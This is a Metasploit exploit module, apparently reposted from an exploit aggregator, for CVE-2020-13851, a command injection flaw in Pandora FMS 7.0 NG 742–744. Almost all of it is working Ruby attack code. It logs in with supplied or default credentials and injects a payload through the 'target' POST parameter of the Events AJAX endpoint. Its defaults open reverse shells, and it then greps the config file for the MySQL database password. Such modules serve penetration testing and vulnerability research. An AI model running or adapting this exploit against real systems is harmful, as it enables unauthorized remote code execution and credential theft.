Share
## https://sploitus.com/exploit?id=PACKETSTORM:158390
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
prepend Msf::Exploit::Remote::AutoCheck  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Pandora FMS Events Remote Command Execution',  
'Description' => %q{  
This module exploits a vulnerability (CVE-2020-13851) in Pandora  
FMS versions 7.0 NG 742, 7.0 NG 743, and 7.0 NG 744 (and perhaps  
older versions) in order to execute arbitrary commands.  
  
This module takes advantage of a command injection vulnerability in the  
`Events` feature of Pandora FMS. This flaw allows users to execute  
arbitrary commands via the `target` parameter in HTTP POST requests to  
the `Events` function. After authenticating to the target, the module  
attempts to exploit this flaw by issuing such an HTTP POST request,  
with the `target` parameter set to contain the payload. If a shell is  
obtained, the module will try to obtain the local MySQL database  
password via a simple `grep` command on the plaintext  
`/var/www/html/pandora_console/include/config.php` file.  
  
Valid credentials for a Pandora FMS account are required. The account  
does not need to have admin privileges.  
This module has been successfully tested on Pandora 7.0 NG 744 running  
on CentOS 7 (the official virtual appliance ISO for this version).  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Fernando Catoira', # Discovery  
'Julio Sanchez', # Discovery  
'Erik Wynter' # @wyntererik - Metasploit  
],  
'References' =>  
[  
['CVE', '2020-13851'], # RCE via the `events` feature  
['URL', 'https://www.coresecurity.com/core-labs/advisories/pandora-fms-community-multiple-vulnerabilities']  
],  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],  
'Targets' =>  
[  
[  
'Linux (x86)', {  
'Arch' => ARCH_X86,  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux (x64)', {  
'Arch' => ARCH_X64,  
'Platform' => 'linux',  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'  
}  
}  
],  
[  
'Linux (cmd)', {  
'Arch' => ARCH_CMD,  
'Platform' => 'unix',  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/reverse_bash'  
}  
}  
]  
],  
'Privileged' => false,  
'DisclosureDate' => '2020-06-04',  
'DefaultTarget' => 1  
)  
)  
register_options [  
OptString.new('TARGETURI', [true, 'Base path to Pandora FMS', '/pandora_console/']),  
OptString.new('USERNAME', [true, 'Username to authenticate with', 'admin']),  
OptString.new('PASSWORD', [true, 'Password to authenticate with', 'pandora'])  
]  
end  
  
def check  
vprint_status('Running check')  
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'index.php')  
  
unless res  
return CheckCode::Unknown('Connection failed.')  
end  
  
unless res.code == 200 && res.body.include?('<title>Pandora FMS - the Flexible Monitoring System</title>')  
return CheckCode::Safe('Target is not a Pandora FMS application.')  
end  
  
@cookie = res.get_cookies  
html = res.get_html_document  
full_version = html.at('div[@id="ver_num"]')  
  
if full_version.blank?  
return CheckCode::Detected('Could not determine the Pandora FMS version.')  
end  
  
full_version = full_version.text  
  
version = full_version[1..-1].sub('NG', '')  
  
if version.blank?  
return CheckCode::Detected('Could not determine the Pandora FMS version.')  
end  
  
version = Gem::Version.new version  
  
unless version <= Gem::Version.new('7.0.744')  
return CheckCode::Safe("Target is Pandora FMS version #{full_version}.")  
end  
  
CheckCode::Appears("Target is Pandora FMS version #{full_version}.")  
end  
  
def login(user, pass)  
vprint_status "Authenticating as #{user} ..."  
  
res = send_request_cgi!({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'index.php'),  
'cookie' => @cookie,  
'vars_get' => { 'login' => '1' },  
'vars_post' => {  
'nick' => user,  
'pass' => pass,  
'login_button' => 'Login'  
}  
})  
  
unless res.code == 200 && res.body.include?('<b>Pandora FMS Overview</b>')  
fail_with Failure::NoAccess, 'Authentication failed'  
end  
  
print_good "Authenticated as user #{user}."  
end  
  
def on_new_session(client)  
super  
if target.arch.first == ARCH_CMD  
print_status('Trying to read the MySQL DB password from include/config.php. The default privileged user is `root`.')  
client.shell_write("grep dbpass include/config.php\n")  
else  
print_status('Tip: You can try to obtain the MySQL DB password via the shell command `grep dbpass include/config.php`. The default privileged user is `root`.')  
end  
end  
  
def execute_command(cmd, _opts = {})  
print_status('Executing payload...')  
  
send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, 'ajax.php'),  
'cookie' => @cookie,  
'ctype' => 'application/x-www-form-urlencoded; charset=UTF-8',  
'Referer' => full_uri('index.php'),  
'vars_get' => {  
'sec' => 'eventos',  
'sec2' => 'operation/events/events'  
},  
'vars_post' => {  
'page' => 'include/ajax/events',  
'perform_event_response' => '10000000',  
'target' => cmd.to_s,  
'response_id' => '1'  
}  
}, 0) # the server will not send a response, so the module shouldn't wait for one  
end  
  
def exploit  
login(datastore['USERNAME'], datastore['PASSWORD'])  
  
if target.arch.first == ARCH_CMD  
execute_command payload.encoded  
else  
execute_cmdstager(background: true)  
end  
end  
end